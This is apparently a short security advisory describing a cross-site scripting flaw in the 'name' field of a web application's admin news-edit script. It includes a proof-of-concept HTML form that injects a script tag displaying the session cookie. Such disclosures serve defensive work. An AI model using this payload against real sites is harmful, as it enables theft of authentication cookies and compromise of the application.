Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/news/edit/4/do/" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/news/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="referer" value="hello">
<input type="hidden" name="domain" value="host">
<input type="hidden" name="name" value='news"><script>alert(document.cookie)</script>'>
<input type="hidden" name="alt-name" value="altname">
<input type="hidden" name="active" value="0">
<input type="hidden" name="active" value="1">
<input type="hidden" name="type-id" value="23">
<input type="hidden" name="save-mode" value="Save">
<input type="hidden" name="template-id" value="2">
<input type="hidden" name="is-visible" value="0">
<input type="hidden" name="is-default" value="0">
<input type="hidden" name="perms_read[2373]" value="1">
</form>
